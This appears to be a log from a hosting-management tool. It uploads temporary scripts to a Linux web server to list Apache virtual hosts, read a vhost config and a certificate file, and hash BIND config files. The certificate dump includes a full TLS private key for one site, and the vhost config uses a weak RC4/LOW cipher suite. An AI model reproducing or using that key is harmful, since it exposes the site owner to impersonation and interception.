MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:22:29: Establishing a connection
2026-01-03 19:22:29: 

PUT: /tmp/pkp372208

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-01-03 19:22:29: 

chmod 755 /tmp/pkp372208; /tmp/pkp372208; rm /tmp/pkp372208

2026-01-03 19:22:29: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-01-03 19:22:29: 

PUT: /tmp/pkp962241

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/carelinks_new_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:22:29: 

chmod 755 /tmp/pkp962241; /tmp/pkp962241; rm /tmp/pkp962241

2026-01-03 19:22:29: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/carelinks_new_net.conf	1316

<VirtualHost *:80>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	new.carelinks.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt
    DocumentRoot	/var/www/carelinks_new
    <Directory /var/www/carelinks_new>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/new_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/new_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>







2026-01-03 19:22:29: 

PUT: /tmp/pkp447845

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 19:22:29: 

chmod 755 /tmp/pkp447845; /tmp/pkp447845; rm /tmp/pkp447845

2026-01-03 19:22:30: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/c13083ef22e4da45778cd2f50f19c2de.crt	5361
c1:5c:98:af:57:ae:9f:2e:7a:32:a9:e7:fc:61:47:3d

-----BEGIN CERTIFICATE-----
MIIFBjCCA+6gAwIBAgISBj8fg4k6CFh3nY7hdrSbj7/UMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMjI5MjA1NDIwWhcNMjYwMzI5MjA1NDE5WjAcMRowGAYDVQQD
ExFuZXcuY2FyZWxpbmtzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL1fHL/FpwwxJFiRkVdXx452W/+mhbR7HGgiyiUdt5Ee7vbTSnwRaiNXtQC5
0Sbb/cSXfqkwcZk4cknmhT09LvxCnx3ZiU+MNOKNnIgEtUHcLgZkFA2yyAwv6Ad3
aEPR84jTGEf2Kzssg+Nol0lj5rYwiYMZnPGe760w7XZtMAYwdBz9+W6LtnBI9gGr
5w9ihscIX4gXwVrSBg1keMS5KG3mj1LaamPoc91EQ0oc3DSVL3JjoK6xZLSdfgIF
aZdebvLkbeHPVvrkpAe4tMhS7iN97mZwSii8JFNMe4blgUrLwi+sL0KHvIdyjoLV
QSFXhEXSB7umOMWmQPdjklWVu3sCAwEAAaOCAikwggIlMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUoK9qP0zxMYjFK03V0Q7xbL4IfewwHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFuZXcuY2FyZWxpbmtzLm5l
dDATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8v
cjEyLmMubGVuY3Iub3JnLzg1LmNybDCCAQwGCisGAQQB1nkCBAIEgf0EgfoA+AB2
AJaXZL9VWJet90OHaDcIQnfp8DrV9qTzNm5GpD8PyqnGAAABm2wZhicAAAQDAEcw
RQIhAPhc29SwSYlsgeeUJTRBfpIRKqzWTdi6i8mY591riKdbAiApaRvkNs/suZ1y
mxcqUodLaKbrtjUTXpw0kz9rzRVKxwB+ABqLnWlKV5jImaDKiL30j8C0VmDMw2AN
H3H0af/H0ayjAAABm2wZhxsACAAABQAtqHgMBAMARzBFAiEA07lgaORLsgO+tW2e
ujUtBIPXF6mbUGtO7UgM47evFYwCIHA0Xc6+0Gs/mosXsocOcGRBUSEUBX5jq00S
vAAY1RyjMA0GCSqGSIb3DQEBCwUAA4IBAQAbC483YRxc2ZmEiVhN1jBZ8IvEjOKB
r/ZqZanuaFMswPl4zY4IY3LV1F1lOKmlRrFPtC7uJhqDfQJOI7DjhgjQmsTPM7/w
oH7GLs1XbooaU7ABCUneSr6OdEFfsNoYAmP15GvOKo66wljRYaR61lDfTtlQyGgr
TBj6SJy+iQ+MIdCIwYbzY2uzweg264AtLusbjoBiD2TW43m8pIESY9ziUepnH3pq
Ba6jBr5KgXfdvocl/fIsGp2dK/YDHH5c/jopnFwEC5tCaCFnPbfUHzJMMEKSCqC/
3Ms75WrH2wFdfpwfp0T5RL9BcBa0PAuAnYbWLiwf75YB3EtRHd0lxUHt
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC9Xxy/xacMMSRY
kZFXV8eOdlv/poW0exxoIsolHbeRHu7200p8EWojV7UAudEm2/3El36pMHGZOHJJ
5oU9PS78Qp8d2YlPjDTijZyIBLVB3C4GZBQNssgML+gHd2hD0fOI0xhH9is7LIPj
aJdJY+a2MImDGZzxnu+tMO12bTAGMHQc/flui7ZwSPYBq+cPYobHCF+IF8Fa0gYN
ZHjEuSht5o9S2mpj6HPdRENKHNw0lS9yY6CusWS0nX4CBWmXXm7y5G3hz1b65KQH
uLTIUu4jfe5mcEoovCRTTHuG5YFKy8IvrC9Ch7yHco6C1UEhV4RF0ge7pjjFpkD3
Y5JVlbt7AgMBAAECggEARsvpHpTRJ9Czat04/fNWKp97M29Y6ylfbFsdQZUDjKCI
7AQAA7Qq/v2KMLRHSgTSsY2Fj9EJlyOwLoqc41EdYLezbuBl4jRjjRMuIvfHn9Cl
8EO374sYGN5MG4Z7l2dFabCpkjWo4d15jSoL7ScJGLG6pyWLNBWcOx5gmHanjpgm
zjyJ1OBSdyGVNJiRXe9LATLT7fqhZNlDj+ARGpolNW2/Gnus3RYgZQVsGiPSJU4F
jqlsZQI3/r2SUH3/lv1Kci4oktsCYhJO3RFts+q8EBe/8vnrQpqib1jbEtqQl1Bu
VMTbI4iei3qYqCg/ihizBfSZgz4FZTO11FIuqpbakQKBgQD51qnwQiBwHcqBrrJr
MhD6T0q0qYO8X7/XYQ2CkWH65pKthIZBh+LgdbzDI1tUkw5JdMP4iq+wjV68EgZ6
kx4j6ePo2uEQuHH1UO1Y8Shwkd+07UvG0bKK6ybIbpWNRYBxSgcnxzSCAAbe8nOc
e0mOL6QifCSG2urRUDL54j6MAwKBgQDCCrHc9hsZcONnoJQMt8/R8gr+8MYTF3v1
jKyLyRYrPq3pY6QRB194WgAWB67K5b5purjGR7v7AV+o1DW5mo4JRwoKdHeg7mct
5n0stBXq4iWjJxoak8wD21xEmsQq9d81YkiSKUvJ1x7ojY+xbx++U4mA5t2wFgpS
iFskY/HFKQKBgHmuSmBA5KmWaN3WZwF8hfZTjhAFi6rAe5/7nefcxPq9N+0Y4Yaj
FyW5UjE8VCwR32B5ZUT0zvLPN7ejk9I5OvHE5YKwr/ND0gTn4GF0OvzwnyLwe/qe
gTXVp7Lw4RfIJPGIW4nNJM64EqCdNx+ckEuW+nrtOaEQmFNPmzRHM61fAoGBAKgW
YZraKgFw09zZskYOGF1ygWn0onC5YC0GThXM/II7iqVpJh+GNoJn3Dk5MIYcXET0
dcl1LHaz6uyx31RHeRC6VA1YdKSYwBJ33ikSWwYcHqRlY+xv6UPSCux28MWSNWfm
Gp1aXoea7PBgaIA4ldPmQ2/BDXrSrOBvtBwi47V5AoGAe7nBCGe+aMIDCbHo+r8U
aJ3k5OGbg08l6DiDx3DELSOTgDYMTdOWd3cDr/g8iu5KBuFiv2aNGi8XT7Ik5xi+
dH5eOyv0F9lmlIBGW7XKY0ec7C/geIzU5oegGRwTN4Sd41FYZ4yLJ22YYNUtKzn7
TI3IQB8mdbT0kqVvQ9cYKB0=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-03 19:22:30: Establishing a connection
2026-01-03 19:22:30: 

PUT: /tmp/pkp413657

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:22:30: 

runuser -l bind -s /bin/bash -c '/tmp/pkp413657; rm /tmp/pkp413657'

2026-01-03 19:22:30: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
